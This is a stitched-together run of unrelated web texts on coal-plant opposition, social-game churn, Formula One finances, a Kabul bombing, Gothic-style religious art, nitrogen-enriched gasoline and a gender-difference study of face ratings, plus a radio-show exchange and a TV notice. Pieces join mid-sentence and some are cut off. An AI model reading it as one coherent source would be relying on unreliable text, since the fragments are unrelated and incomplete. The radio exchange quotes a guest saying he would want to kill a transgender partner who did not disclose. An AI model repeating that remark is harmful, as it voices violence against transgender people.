Nilles of the Sierra Club said coal power opponents “have a long way to go. We can declare victory when we’ve ended coal’s contribution to global warming.”
Coal-fired power plants are the biggest single contributor of CO2 emissions in the United States, making up more than 30 percent of all such emissions. All forms of power plants contribute 40 percent of U.S. greenhouse emissions.
CO2 is by far the leading contributor to global greenhouse gases which cause global warming.
Despite its success in fighting coal plants, the Sierra Club noted that a number of public-power agencies - rural electric cooperatives and municipalities - “continue to push forward with new coal plants despite the increasing financial risk.”
Nilles scored the election of Barack Obama as a major victory for his cause, as reflected in changes at the U.S. Environmental Protection Agency.
Nilles hailed this week’s withdrawal of a permit for the 1,500-megawatt Desert Rock plant in New Mexico and the pronouncement two weeks ago that CO2 endangers public health and welfare as evidence of a new EPA.
“The EPA has been moving very fast which is in sharp contrast to eight years when the EPA was very much on the sidelines,” said Nilles.I quit after 5 minutes!
I just learned the term churn from our recent article on social game makers and how they track players. The term came up again today in a Gamasutra article on a new report from social game analysis firm Playnomics. This firm found that, during their study period this summer, 85 percent of all new players quit social games after only one day of play.
Sounds about right to me!
The study also found that 95 percent of players that started at the beginning of the quarter were out forever by the end of that quarter. Those left were the most likely to stick around for a bit longer. Non-churners (those that don't quit) were found to play about twice as long on that first day.
On average, players churn after about four days.
The full results of the study are a fun read. There's some weird factoids in there, like that Oregon has the most social game players in the country. An engagement map shows that some states in the southeast do not give a crap about social games.
You are logged out. Login | Sign upRoss Brawn thinks Formula One must work to ensure its financial model is viable for the smallest teams on the grid.
Last week, Manor fell into administration after failing to secure new investors ahead of the new campaign. In recent years several of F1's smallest teams have pushed for a budget cap in a bid to level the playing field.
Brawn thinks it would be in F1's best interests to create more even playing field for all teams as it would create an element of unpredictability for fans.
Asked what F1 could do to help smaller teams, Brawn told ESPN: "Well, that's an interesting point, because I think that should be one of the objectives. One of the objectives should be looking at what can be done to reduce the margin between a small team and a big team. And can things be done to reduce the performance gain that comes from the level of investment the big teams can make.
"How can you level that? I think it's an interesting reference point for F1 to make small teams viable and make them reasonably competitive so they can pull the odd result out of the bag -- it makes it exciting."
Clive Mason/Getty Images
However, Brawn feels finances will always play a role in success in Formula One, and feels his team's famous title success in 2009 -- done after Honda's sudden withdrawal from the sport -- is an unfairly portrayed as a team winning despite having no money.
"I don't think you are ever going to see a Leicester City [winning the 2015/2016 Premier League] in Formula One, although I know people compare Brawn GP with that, but Brawn GP was an anomaly because it had all the Honda funding in the years before and they stepped off and it carried on with the inertia of Honda. If it had always been the size of team that it was, it would never have got where it did.
"So Brawn GP is not a good example, but I think it's a worthwhile objective to make sure the model for a small team is viable. It can be economically viable and it can be a good environment for young drivers to come into the sport without having millions of pounds behind them. If we can create that then you get a much healthier flow of young drivers because it is a meritocracy based on their talent and not their commercial backing.
"Small teams depend so much on commercial backing for their drivers that it influences the decisions they have to make on their drivers. I think that's another element of a healthy Formula One, to make the small teams viable."
Gasperotti/Sutton Images
F1's payment structure has been a source of criticism in recent years and prompted Sauber and Force India to lodge a complaint with the European Union in 2015. Ahead of last season, Manor received £47 million, a huge difference to the £192 million Ferrari received (based on prize money and its historical payment).
Despite being a controversial subject, Brawn thinks Ferrari's historical payment is well deserved.
"They make a lot of effort to get that money, it's not given to them without effort... Ferrari has been the longest supporter of Formula One and have the longest history. I think everyone would recognise they have the biggest brand in Formula One. They are the most recognised team in Formula One and they are important to the whole image and circus of F1, so naturally they benefit from that position they hold. It might be galling to some people, but that's the reality."
Interview conducted by Jennie GowAt least 70 were killed or injured after a suicide bomber blew himself up in the Afghan capital of Kabul, quickly followed by a car bomb nearby in what appears to be have been a coordinated operation, authorities said. The Afghan Taliban claimed responsibility for the attack, according to Reuters.
The attack targeted a minibus carrying staff from the NDS, Afghanistan's main intelligence agency, and as many as 70 people were killed or wounded, the insurgents said.
Just received the first footage from today`s #KabulAttack pic.twitter.com/EwHdIdjohE — Zakarya Hassani (@ZakariaHassani4) January 10, 2017
At least 21 people had died and 45 more wounded were taken to hospital, public health ministry spokesperson Imail Kawasi said, although the numbers were likely to grow.
#BREAKING: Twin explosion (suicide bomber and car bomb) hit outside parliament offices in #Kabul #Afghanistan; Gunfire heard in the area pic.twitter.com/P5Sf5DsVji — Amichai Stein (@AmichaiStein1) January 10, 2017
The attack, which ended a period of relative calm in the Afghan capital, occurred in a crowded area during the afternoon rush hour as workers were returning home. Officials said a suicide bomber blew himself up in the Darul Aman area of the city near the new Indian-financed parliament building and was followed immediately by a car bomber in an apparently coordinated operation.
Security forces blocked the road and ambulances are shifting the injuries.#KabulBlast #Afghanistan pic.twitter.com/1sZwWu83Cb — Zakarya Hassani (@ZakariaHassani4) January 10, 2017
Earlier on Tuesday, a suicide bomber killed at least seven people in southern Helmand province, according to provincial police chief Gen. Agha Noor Kemtoz. He said the target of that attack was a guesthouse used by a provincial intelligence official, and both military personnel and civilians were among the dead, the local police chief said.Artist Daniel Mitsui shares six new images that bring Gothic art together with influences from around the world
As an artist dedicated to the survival and revival of Catholic tradition, my guiding principle has long been the instruction of the Second Nicene Council:
The composition of religious imagery is not the painter’s invention, but is approved by the law and tradition of the Catholic Church. The tradition does not belong to the painter; the art alone is his. True arrangement and disposition belong to the holy fathers who established it.
I believe that the art called Gothic is fully traditional, the last art that did not predicate its originality on a rejection of the past. It is a summary of the iconography of the preceding ages, put into order and expressed more clearly than ever before — the visual equivalent of a high medieval encyclopedia. This is why I make it the basis of my own artwork.
Perhaps paradoxically, because Gothic art is indigenous to the Catholic Church, it can communicate with the art of other traditional cultures especially well. Because its composition is approved by law and tradition, it is not defined by any national or chronological boundary. A farsighted and generous consideration of beautiful forms is in the true spirit of this art.
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This is especially striking in late Gothic painting of the 14th and 15th centuries. Flemish painters hung Oriental damasks behind their Virgins, and laid Oriental carpets beneath their feet. The Italians copied ornament from art that arrived by trade from Mamluk Egypt. Their saints wear garments bordered with Kufic letters (spelling gibberish) and radiate haloes that resemble Egyptian platters.
This was done, not in a spirit of cultural indifferentism, but in a spirit of giving God what He deserves, the very best we have to offer. Mesopotamian textiles and Mamluk goldsmithery were fitting influences on Catholic art because they were the most precious and beautiful things of their kind that Catholic artists had yet encountered. To eschew them would be something of a cheat on God.
I consider it a sad mischance that the spirit of Gothic art was expelled from Catholic Europe just as the Age of Exploration began. A few treasures of the Aztecs crossed the Atlantic Ocean in time to be admired by Albrecht Dürer, an artist who stood astride the end of the Middle Ages. Most of the treasures arrived too late. Medieval artists never saw the art of the Safavids or of the Khmers. Just imagine what they would have done, had they seen it!
I imagine this, literally. Although I live in the present day and not in medieval times, I embrace the principles of Gothic art, including its same farsighted and generous consideration. In my recent drawings, reproduced below, I attempt to be faithful to Catholic tradition while drawing influence from the art of China, Japan, Egypt, Turkey and Persia. I have also integrated ornament from the early medieval Northumbria and Ireland, and depicted flora and fauna from the entire world.
http://www.danielmitsui.com/00_pages/sacred_heart_color.html
My drawing of the Sacred Heart has a composition similar to the 1467 Sanctus Salvator engraving by the Master E.S. But in its coloration, its lack of hatching, and its material (a translucent paper made from kozo fiber) it shows the influence of Japanese woodblock prints as well. Among the animals that appear in Christ’s halo are dogfish, platypodes, lyrebirds, chameleons, and a pangolin.
http://www.danielmitsui.com/00_pages/hugh_lincoln.html
St. Hugh was a 12th-century Carthusian hermit who became the Bishop of Lincoln. His halo here contains writing resembles Arabic, but is not; it actually spells the words Amen and Alleluia three times each. The crosier is an adventurous design, with an ivory newt forming the head and a unicorn horn for the shaft and foot.
http://www.danielmitsui.com/00_pages/christopher.html
When drawing the figures of St. Christopher and the Christ Child, I looked to Japanese art, specifically to Utagawa Kuniyoshi’s ukiyo-e series The Sixty-nine Stations of the Kisokaido, which includes an abundance of river scenes and depictions of strong and fearsome men. The composition is basically that of Dieric Bouts’s Pearl of Brabant triptych.
http://www.danielmitsui.com/00_pages/tu_es_sacerdos.html
This depicts a priest holding the host and chalice, while demonic foes flee in terror. I prefer the type of demon that was perfected in the art of Hieronymus Bosch — composed of disparate elements of men, beasts, fish, birds, plants and inanimate objects. The vestments have Northumbro-Irish patterns, as does the decorative border.
http://www.danielmitsui.com/00_pages/kiss_cross.html
This illustrates a passage from The Vision of Piers Plowman, a Middle English poem. The damask pattern is my own design, and includes Resurrection symbols: the Lion and his three cubs, the Pelican in her piety, and morning glory vines. On the wall, a tile pattern repeatedly spells out the words Amen and Alleluia, interspersed with crosses; this sort of squared lettering is common in Persian architectural ornament.
http://www.danielmitsui.com/00_pages/sarah.html
Northumbro-Irish knotwork, blackletter script, pseudo-Arabic and pseudo-Hebrew lettering, and a damask pattern depicting a peridexion tree are all present in this drawing of the Hospitality of Abraham and the matriarch Sarah laughing at the news that she will bear a child.
Read more: Daniel Mitsui: Innovative TraditionalistQ: Since nitrogen oxide compounds are components of smog and are common water pollutants, does nitrogen-enriched gasoline create additional pollution?
– Rick Oestrike, Poughkeepsie, N.Y.
A: It might seem as if adding nitrogen to gasoline is all the rage among oil companies today, but the idea has been around for years. The US Environmental Protection Agency (EPA) requires that automotive fuels sold in the United States contain detergents to help scrub away pollution before it goes out the vehicle’s tailpipe. Some manufacturers have found that adding nitrogen to the detergent helps keep an engine cleaner by reducing the carbon buildup in the gas tank that can in turn “gunk up” the engine and lower performance.
The nitrogen itself also has a direct cleaning effect, breaking down carbon deposits that can harden on an engine’s moving parts. “If too much collects, this gunk can negatively affect engine performance, causing your car to burn more oil, overheat, and burn gasoline less efficiently,” reports John Fuller on the How Stuff Works website.
Valves inside an engine are designed to let in a specific amount of air and fuel, he adds. When that process is slowed by carbon buildup, a car won’t perform up to its potential.
But while nitrogen-enriched gasoline may provide a slight bump in engine performance, some worry about adding to cars’ already substantial pollution load, especially nitrogen oxide (NOx), which contributes to smog, acid rain, and other environmental problems.
André L. Boehman, a Penn State University engineering and fuel science professor, says that the addition of more nitrogen to the fuel mix “generally will increase NOx emissions.” Professor Boehman would like to see more research done so we can know for sure if (and how much) additional NOx pollution is caused by the use of nitrogen-enriched gasoline.
Shell Oil, which last spring launched its own form of nitrogen-enriched gasoline now for sale in all three grades of gasoline the company sells at its US service stations, denies that the additional nitrogen has any substantive impact on pollution levels. “Most nitrogen in vehicular NOx emissions does not come from gasoline,” the company told The New York Times. “The nitrogen is primarily from the incoming air that mixes with gasoline inside an engine. NOx is produced when the nitrogen from the air reacts with oxygen under high engine temperature and pressure conditions.”
Boehman concedes that “the detergent additive may have such beneficial effects on engine operation, fuel system performance, and other related features of engine system operation that they outweigh the adverse effect” of increased NOx emissions. “For instance, if improved detergency helps to increase fuel efficiency so that you burn less fuel, you may slightly increase the NOx emissions rate per gram of fuel burned, but end up with lower NOx because you burned fewer grams of fuel.”
That said, some environmental |
adolescents= ADOL, adults= ADU, mature adults= MAT, elderly= ELD). In prior ANOVA testing, the normality of data distribution was measured (by means of kurtosis). Data indeed had a normal distribution, as also confirmed by kurtosis analysis (valence –0.53, arousal 0.36). A post hoc Tukey test was used for comparisons among means.
To assess the two dimensions of valence and arousal, a modified version of the Self Assessment Manikin (SAM; Lang et al., 1997 ), an affective rating system devised by Lang (1980), was used. In this system, a graphic figure depicting values along each of the two dimensions on a continuously varying scale is used to indicate emotional reactions. Figure 2 illustrates the paper‐and‐pencil version of SAM used for face evaluation in the present study. As can be appreciated, for the valence dimension, SAM ranges from a smiling, happy figure to a frowning, unhappy figure. For the arousal dimension, SAM ranges from an excited, wide eyed figure to a relaxed, sleepy figure. Judges could select any of the three figures comprising each scale, which resulted in a 0–2 points rating scale for each dimension. Ratings were scored such that 2 represented a high rating on each dimension (i.e., high arousal, positivity), and 0 represented a low rating on each dimension (i.e., low arousal, negativity), with 1 representing an intermediate score.
The images were randomly ordered in a PowerPoint presentation at one picture per slide and presented to the judges. The experimenter briefly showed them each picture for a few seconds, and then asked them to evaluate its valence and arousal by using a three‐point scale. As the judge gave his or her opinion for each photograph, the experimenter recorded the score. Any potential bias in the responses was minimized by giving each judge a randomly chosen presentation order.
The pictures showed only the subject's face, up to the base of the neck. Their size was 265 × 332 pixels. The pictures may show accessories (e.g., glasses, hats, earrings, etc …) and displayed various emotional expressions, ranging from joy to anger, matched across stimulus categories. Table 2 shows the result of accurate balancing across class ages and facial expressions of persons depicted. Stimuli were equiluminant as ascertained by an ANOVA performed on individual luminance measures obtained via a Minolta luminance meter.
Four hundred color pictures of anonymous human faces were selected from available, open‐access license‐free databases. An example of a stimulus (blurred for privacy's sake) is provided in Figure 1. Faces were equally represented by sex (200 M, 200 F) and age ranges (children [2–8 years], adolescents [12–18 years], adults [25–35 years], mature adults [35–60 years], and elderly [above 70 years]) as detailed in Table 1. In the framework of the so‐called contact hypothesis (Rhodes and Anastasi, 2012 ; own‐age bias), for which face familiarity/sensitivity depended on actual frequency of contact, in determining face numerosity per class, it was set a ∼1:2 ratio for ages similar to that of viewers (adults), ∼2:5 for the elderly, and ∼1:5 for children/adolescents.
Participants were 15 right‐handed heterosexual university psychology students with normal or correct vision. They were eight females ranging in age from 21 to 25 years (mean age 22.9, SE 1.40 years) and seven males ranging in age from 21 to 29 years (mean age 25.7, SE = 1.59 years). Half of the female participants used oral contraceptives, and the other half did not. The specific menstrual phase of naturally cycling women was not determined. All participants received academic credits for their participation and provided written consent. The experiment was performed in accordance with relevant guidelines and regulations and was approved by the ethical Committee of the University of Milano‐Bicocca. Participants were unaware of the experimentation's purposes.
The ANOVA performed on valence scores showed a strong effect of gender of subjects (F 1,398 = 7. 41; P < 0.007; eta2 = 0.018). The valence attributed to faces was significantly higher when judges were women (1.2; SE = 0.022) than men (1.1; SE = 0.02), as can be appreciated in Figure 3 B. This result indicates that women had more positive feelings than men in response to faces. The further triple interaction of judge gender × sex of faces × age (F 16,780 = 2.7987; P < 0.0002; eta2 = 0.054) and relative post hoc comparisons showed that, for male participants, the only significant effect of age was found for the category of female faces, which were more positively evaluated for adolescents (1.242; SE = 0.056) than mature women (0.951; SE = 0.056). This effects reflects a strong preference for young faces of the opposite sex, in males. For female participants, the only significant effect of age was found for the category of elderly of either sex that were evaluated more positively by women (F = 1.4, SE = 0.66; M = 1.38 = 0.06) than by men (F = 1.125; SE = 0.66; M = 1.186; SE = 0.06) and more positively by women compared with adolescents, adults, and mature people but equally well to children of either sex (see Fig. 5 for mean values and SEs).
The ANOVA performed on arousal scores showed a very strong effect of gender of subjects (F 1,780 = 46.683; P < 0.000001; eta2 = 0.0056). The self‐perceived arousal induced by face viewing was significantly higher among women (0.643; SE = 0.0198) than among men (0.496; SE = 0.0198), as can be seen in Figure 3 A. This result hints at a sex difference in the intensity of the response to faces. There was a nonsignificant tendency ( P < 0.07) for a gender × sex interaction, driven by female judges evaluating male faces more intensely. The significant interaction of judge gender × sex of faces × age and relative post hoc comparisons (F 16,780 = 6.1; P < 0.000001; eta2 = 0.11) showed a tendency for an opposite sex preference for adolescents and adults (in both sexes) and mature faces (only in women), which did not reach statistical significance, and a strongly significant ( P < 0.0001) effect of gender with an increased arousal in response to children and elderly people (regardless of their sex), as clearly visible in Figure 4.
DISCUSSION
In this study, the effect of gender of viewers on the way they evaluated 400 human faces in terms of valence (positive vs. negative) and arousal (high vs. low) was investigated. Regardless of faces' sex, women's ratings were significantly higher for both dimensions, suggesting that women might be more interested or aroused by the specific sensory stimulus (the human face), as displayed in Figure 6. These data fit with some electrophysiological literature (see, e.g., Proverbio et al., 2008) providing evidence of a greater female electrocortical responsivity to faces and people than to inanimate scenarios such as landscapes. In Proverbio et al.'s (2008)'s study, an enhanced N2 component of ERPs was found to people, associated with a stronger activation of fusiform face and extrastriate body areas (FFA and EBA) in women. This was interpreted as an index of greater interest in or attention to this class of biologically relevant signals (human faces and bodies). Because, in that study, no behavioral response or attention allocation to persons was required by the task (which consisted of detecting rare Mondrian stimuli), the stronger responsivity to social stimuli in women would reflect a privileged automatic processing of images depicting face of conspecifics in the female brain. Consistent with this hypothesis, numerous studies have demonstrated that women are provided with a greater ability to decipher the emotions through facial expressions (see, e.g., Proverbio et al., 2006, 2007; Hall et al., 2010; Thompson and Voyer, 2014) or nonverbal communication (Hall et al., 1978) and are more inclined to and more competent in expressing their emotional experiences to others (Dimberg and Lundquist, 1990). Further evidence has demonstrated that women, compared with men, react more strongly when viewing affective stimuli (such as IAPS) involving human beings, thus showing a higher empathic response (Klein et al., 2003; Gard and Kring, 2007; Proverbio et al., 2009). In this regard, some authors have established a link among gender, social skills, and action processing because of the strong association between the known action observation/execution properties of the motor mirror system and the theorized social functions of the human mirror system (Oberman et al., 2007). In fact, sex differences have been shown in action understanding tasks. Women have been found to be better at understanding the action purpose, as indexed by earlier and larger discriminative ERP responses to incongruent and purposeless behavior (Proverbio et al., 2010c), compared with men. Consistently, the combined fMRI and ERP study by Canessa et al. (2012) and Proverbio et al. (2011c) found differences across male and female participants involving a stronger activation of the action understanding system, the STS, and the ventral premotor cortex (associated with the mirror resonance of others' actions) during the observation of cooperative (vs. affective) scenes among women. Again, Anderson et al. (2013) provided evidence of sex differences in the development of brain mechanisms for processing biological motion. This fMRI study involving the visual perception of point‐light displays of coherent and scrambled biological motion showed enhanced activity during coherent biological motion perception in females relative to males in a network of brain regions possibly implicated in social perception (including amygdala, medial temporal gyrus, and temporal pole). All in all, these pieces of evidence indicate a female superiority in social skills and sex differences in action/behavior processing.
Figure 6 Open in figure viewerPowerPoint Effect of sex and age of observed faces, resulting from the score analysis of arousal (top) and valence (bottom) attributed by female (left) and male (right) participants.
In light of this framework, the hypothesis can be advanced that the higher female ratings of valence and arousal found in the present study might correspond to a greater attentional allocation or interest for human faces as sensory signals (Pavlova et al., 2014, 2015). In this regard, it is interesting to mention that behavioral and electrophysiological evidence has shown that women are better at seeing faces, even when there are none, a perceptual illusory phenomenon called face pareidolia. In more detail, Pavlova et al. (2015) carried out a spontaneous recognition task in which adult females and males were presented with a set of food‐plate images resembling faces (Arcimboldo style). Women not only more readily recognize the images as faces (they reported images as resembling a face, on which males still did not) but gave overall more face responses. Proverbio and Galli (2016) investigated the neural correlates of this sex difference, in a study in which ERPs were recorded while participants viewed pictures of animals intermixed with those of familiar objects, faces, and faces‐in‐things. Face‐specific vertex positive potential (VPP; 150–190 msec) showed a difference in the processing of faces‐in‐things between males and females at frontal sites; whereas for men VPP was of intermediate amplitude between faces and objects, for women there was no difference in VPP response to faces or faces‐in‐things, suggesting a marked anthropomorphization of objects in the latter group. SwLORETA source reconstruction showed how in the female brain face pareidolia was associated with the activation of brain areas involved in the affective processing of faces (right STS, BA22; posterior cingulate cortex, BA22; orbitofrontal cortex, BA10), which was not found in men.
Among the other results, the present data show that participants tended to attribute a greater valence (reflecting an intrinsic attractiveness of stimuli) to faces of the opposite vs. own sex. However, this effect, known as opposite‐sex preference and predicting that heterosexual adults preferred to view attractive faces of the opposite sex more than attractive faces of the same sex (Fischer et al., 2004a, 2004b; Turk et al., 2004) was not significant per se, except for men in interaction with face age. This finding is fully consistent with the results of the fMRI study by Cloutier and coworkers (2008) reporting an increase in the activation of the nucleus accumbens and the orbitofrontal cortex belonging to the putative reward circuitry, in response to opposite‐sex faces explicitly judged as attractive vs. unattractive, only in male participants, whereas no opposite‐sex preference was found in women. However, another fMRI study (Spreckelmeyer et al., 2013) provided conflicting results showing enhanced activation to cues signaling opposite‐ vs. same‐sex faces in both sexes, along with a similar activation of the brain reward system (including ventral tegmental area, nucleus accumbens, and ventromedial prefrontal cortex).
In our study, the lack of a general opposite‐sex preference might be in part attributed to the interfering effect of face age (because of the presence of individuals not sexually desirable, such as the elderly or little children) and facial expressions. Indeed, half of face stimuli were not happy or smiling but negative or neutral. The aim of the study was not to create a stimulus set of aesthetically attractive faces but (applying an ecological framework) to create a stimulus set of normotypical faces. In this regard, it is worth mentioning that a preference for the opposite sex has not been consistently observed in face processing literature. For example, in the fMRI study by Fischer et al. (2004a), 24 men and women were scanned while they viewed angry, fearful, or neutral faces of either gender. The occipital and anterior cingulate cortices showed an increase in activation during perception of angry male vs. female faces in men, suggesting a more intense male emotional reaction to same‐sex angry faces. In this study, an opposite‐sex bias was not observed, but, in a second study (Fischer et al., 2004b), in which viewers were passively exposed to neutral male and female faces, the authors found that, during exposure to faces of the opposite vs. same sex, men displayed increased activation in the amygdala and in the anterior temporal areas. Therefore, it can be concluded that the perception of emotional faces, and particularly of angry expressions, does not always result in a bias toward opposite‐ vs. same‐sex faces because there is an interaction between face gender and affective valence of the faces.
The present data have general implications with regard to the literature on the opposite‐sex preference, in which face stimuli are usually selected on the basis of high esthetic standards. Indeed when pictures of very attractive males and females, of about the same age as participants, are presented, the “opposite‐ vs. same‐sex” effect is easily found. For example, in Proverbio et al.'s (2010a) study, faces of attractive peers intermixed with target landscapes were presented to heterosexual university students while the EEG was recorded. The results showed that, in both genders, the inattentive perception of faces elicited a larger and earlier N400 response to opposite‐ vs. same‐sex faces whose neural generators lay in face and emotional processing brain areas. In another ERP study (Suyama et al., 2008), P2 responses were found to be larger in response to female faces in men, and male faces in women, during a gender discrimination task.
Other studies based on psychological ratings (Perrett et al., 1998; Cornwell et al., 2004) and brain activation (Kranz and Ishai, 2006) have shown that individuals prefer to view attractive faces of the opposite sex compared with those of the same sex (Penton‐Voak et al., 2001; Little et al., 2002; Rhodes, 2006). This bias may result from the fact that sexually dimorphic facial characteristics convey information about the quality of potential mates. Kranz and Ishai (2006) used fMRI to scan a group of female and male subjects looking at male and female faces. The study took into account both the gender of the faces and the sexual preference of the viewers. Heterosexual women (and homosexual men) exhibited a significantly greater response in the orbitofrontal cortex when viewing male vs. female faces, whereas heterosexual men (and homosexual women) responded more strongly to female than to male faces in an attractiveness rating task. In a similar study, Conway et al. (2008) found that participants preferred a direct (vs. averted) gaze when judging the attractiveness of happy faces relative to unhappy faces and that this preference for direct gaze was particularly pronounced in favor of opposite‐sex faces. Overall, we believe that facial attractiveness (i.e., beauty) is a crucial factor in determining the lack/presence of an opposite‐sex face preference, the other crucial factor being face age. Indeed, another possible reason why the opposite‐ vs. own‐sex preference was not observed as a general pattern in the present study might be related to the presence of many elderly faces (80 of 400 stimuli), whereas the other 110 faces depicted mature adults (ranging in age from 35 to 60 years). Therefore, half of the stimuli faces depicted people much older than the judges, thus not representing optimal choices as sexual mates (see, e.g., Law‐Smith, et al., 2006; Lu and Chang, 2012). Furthermore, faces were (purposely) not selected as particularly pleasant from the esthetic point of view. Faces were normotypical and depicted very average and lay street persons. Indeed, the literature on face‐age effects in face perception has reported a general negative aging stereotype. For example, Ebner (2008) found that old faces were generally judged as less positive than young faces and seen as less attractive and less likeable, but the viewer's sex and its possible interaction with face‐age effects was not investigated in that study.
Notwithstanding the factors previously mentioned, an effect of opposite‐sex preference was found to be statistically significant only in men, in interaction with the age of the faces. Indeed, only for the opposite sex (female), male judges evaluated more positively (in terms of pleasantness/valence) adolescents than mature individuals, although face evaluation did not differ in valence as a function of age for same‐sex (male) faces. This piece of data might be interpreted in light of the evolutionary hypothesis suggesting that heterosexual individuals may appreciate more opposite‐ than same‐sex faces in terms of potential mates (see, e.g., Law‐Smith, et al., 2006; Lu and Chang, 2012), which in turn may explain why the faces of mature women (potentially infertile) suffered a decrease in their valence appreciation. In women, the opposite sex effect was visible as a strong tendency to attribute higher arousal scores to male faces of any age (except for elderly people).
The data allow us to conclude that, although it is not always the case that opposite‐sex faces are judged more positively than own‐sex faces (depending on the affective expression, age, and beauty), the general effect of women evaluating as more positive and more arousing human faces in general (and in particular children and elderly) does not seem to depend on these factors. The female preference for elderly faces might be interpreted in terms of a greater emphatic response (Baron‐Cohen et al., 2004), whereas the female preference for children faces would rely on specific neural mechanisms sensitive to childish cues in face stimuli. Indeed, previous ERP studies (Proverbio et al., 2010b, 2011b) comparing the neural processing of faces of different ages and objects showed a preferential response to children obver adults in the face‐related N170 ERP component in women (and not men), thus indexing a sex difference in the so‐called parental response to baby schema (McKelvie, 1993). It is thought that the visual and the orbitofrontal cortices are specifically activated and aroused by the view of infants, also providing a pleasant sensation through the dopaminergic reward circuitry, and to a greater extent in women than men (Seifritz et al., 2003; Glocker et al., 2009; for a complete review see Hahn and Perret, 2014). Other behavioral studies support the hypothesis that women are more responsive to baby schema than men (Berman et al., 1975; Berman, 1980; Proverbio et al., 2007) and are better able to decode infant expressivity (Babchuk et al., 1985; Proverbio et al., 2007). In an electrophysiological study, Proverbio et al. (2006) investigated the neural response to baby schema in female and male adult individuals, and ERP results revealed a larger sensory P100 response to faces in women than in men (regardless of whether they were parents themselves or nulliparous). These findings may be interpreted as a sign of greater perceptual sensitivity or increased arousal response in women than in men at the view of unrelated infants. Similar studies have shown that infant faces hold greater incentive salience for women than they do for men (Hahn et al., 2013; but see Parsons et al., 2011). Again, infant faces have been shown to capture women's attention to a greater extent that adult faces, whereas infant faces capture men's attention more so than same‐sex faces but much less than opposite‐sex faces (Cárdenas et al., 2013).
In conclusion, the data collected in this study, relative to heterosexual young adults, hint at a sex difference in the evaluation of human faces along the arousal and valence dimensions. Specifically, the preference for people of the opposite sex (with higher valence ratings) was found only in men, in favor of adolescents as opposed to mature women, thus strongly interacting with face age. There was only a tendency for women participants, possibly because of a lack of specific aesthetic value (faces were selected as normotypical), and the presence of negative facial expressions (such as hate, hostility, disgust). A preference for children and elderly faces (with higher arousal ratings) was found only in women, possibly being associated with the greater empathic attitude of the latter. Overall, women (as opposed to men) rated as more arousing and more positive all human faces, possibly indicating a preference for or greater interest in faces, facial expressions, and social information in general (Proverbio et al., 2008), as predicted by the Baron‐Cohen model of sexual dimorphism in empathy and facial expression coding ability (Baron‐Cohen et al., 2001; Baron‐Cohen and Wheelwright, 2004).
One of the limits of this study (the other limit being the relatively small sample) is the lack of control of hormonal cycle or contraception method for female participants. Indeed, it has been shown that social processes, and in particular the neural response to opposite‐sex faces, may vary as a function of hormonal phase of the women.
In addition, Petersen et al. (2014) have shown that oral contraceptive pill use can affect cognition and alter resting‐state functional connectivity. Indeed, women using oral contraceptives have been shown to differ from nonpill users in memory (Mordecai et al., 2008), mental rotation (Griksiene and Ruksenas, 2011), and affective memory tasks (Nielsen et al., 2011, 2014). In conclusion, the hormonal control, or lack of it, represents an important variable in determining the neurofunctional behavior of the female brain, and it should be monitored in studies on sex differences.
Several authors (Alexander and Hines, 2002) have pointed out the genetic/biological nature of female preference for social stimuli. For example, evidence of a toys preference among nonhuman primates (Cercopithecus aethiops sabaeus) has been provided, with male vervets preferring to play with unanimated fast moving toys (e.g., cars or balls) and female vervets preferring the contact with dolls. These data suggest that sexually differentiated interest for infants/dolls arose early in human evolution, prior to the emergence of a distinct hominid lineage. Comparative studies are quite relevant in this regard because monkeys are not subject to the cultural influences proposed to explain human sex differences in social cognition.
Furthermore, other findings support the hypothesis of biological, predetermined sex differences in social interest, not dependent on cultural conditioning but linked to the genetic role of women as primary offspring caregivers. One of the most important pieces of evidence is the observation of an early interest for infants traceable in all human cultures and historical periods in young females. Remarkably, the same phenomenon has been observed in monkeys (juvenile baboons, macaques, and rhesus monkeys; Herman et al., 2003; Maestripieri and Roney, 2006) as reflected by a higher rate of interaction with infants in females than males. The interaction includes behaviors such as embracing, holding, carrying, playing with, grooming, touching, and staying close to infants, and this is unaffected by hormone manipulations. According to Maestripieri and Pelka (2002), sex differences in interest in infants across the life span should be interpreted as a biological adaptation for parenting. Neurohormonal studies carried out in humans have shown that the early interest in infants may be modulated by hormonal factors. For example, Leveroni and Berenbaum (1998) reported that girls precociously exposed to high levels of androgens (because of congenital adrenal hyperplasia) displayed less interest in infants than their normal sisters. Consistently, it has been shown in primates that maternal hormonal changes influence social interaction with unrelated infants (Ramirez et al., 2004), making adult females more empathic and receptive. At this regard, oxytocin has been show to affect the empathic attitude in humans, by increasing social trust and even improving the ability to infer the affective mental states of others (Domes et al., 2007).
On the basis of a review of the relevant literature. many of the sex differences in social cognition (including the present sex difference in face processing) may be related to the (biologically determined) role of females as primary offspring caregivers (as opposed to fighters/hunters; see, e.g., Kuhn and Stiner, 2006). This distinction may be associated with females' greater empathic attitude, ability to understand body language and facial expressions, attachment and responsivity to infants (oxytocin‐mediated), early interest in infants, interest in social information, emotional responsivity, and lesser incidence of autistic, psychopathic, and sociopathic disorders. In this way, this article provides a unified framework for understanding the multifaceted consequences of a sexual dimorphism in human parental behavior.The comments came after The Breakfast Club cohost DJ Envy posed to Duval: “Say you met a girl and she didn't tell you she was a transgender.... After four months, y'all had sex and she said, 'Duval...'"
"This might sound messed up and I don’t care,” Duval responded. “She dying. I can’t deal with that.”
“No. That’s a hate crime,” cohost Charlamagne tha God said. “You can’t do that.”
“You manipulated me to believe in this thing,” Duval said. “I can't live with that, bro."
"Now, I do agree that you are taking away a person's power of choice when you don't tell them upfront," Charlamagne said.
"There should be some type of repercussions for that if you do that to somebody," Duval said.
"You should go to jail or something," Charlamagne concluded. "Some charges should be pressed.... But you can't go around killin' transgenders, Duval."
"I didn't say I'm gonna kill transgenders," Duval responded. "I said if one did that to me, and they didn’t tell me, I’mma be so mad I’m probably gonna wanna kill them.”The weekly political talk show The McLaughlin Group will air its last episode Sunday, days after the death of longtime host John McLaughlin.
WTTW TV, which produces the program, confirmed the news to EW and noted that the final episode will feature excerpts from a 1983 show taped before a studio audience in Chicago.
“The McLaughlin Group has been a mainstay on WTTW in Chicago, and on public media stations across the country, for decades,” said Dan Soles, the station’s chief television content officer, in a statement. “It was a trailblazer in the political talk show genre that inspired so many programs that came after.”
Soles added, “We will miss this important contribution to our political coverage. WTTW is proud to have brought the series, and Dr. McLaughlin, to the PBS system.”
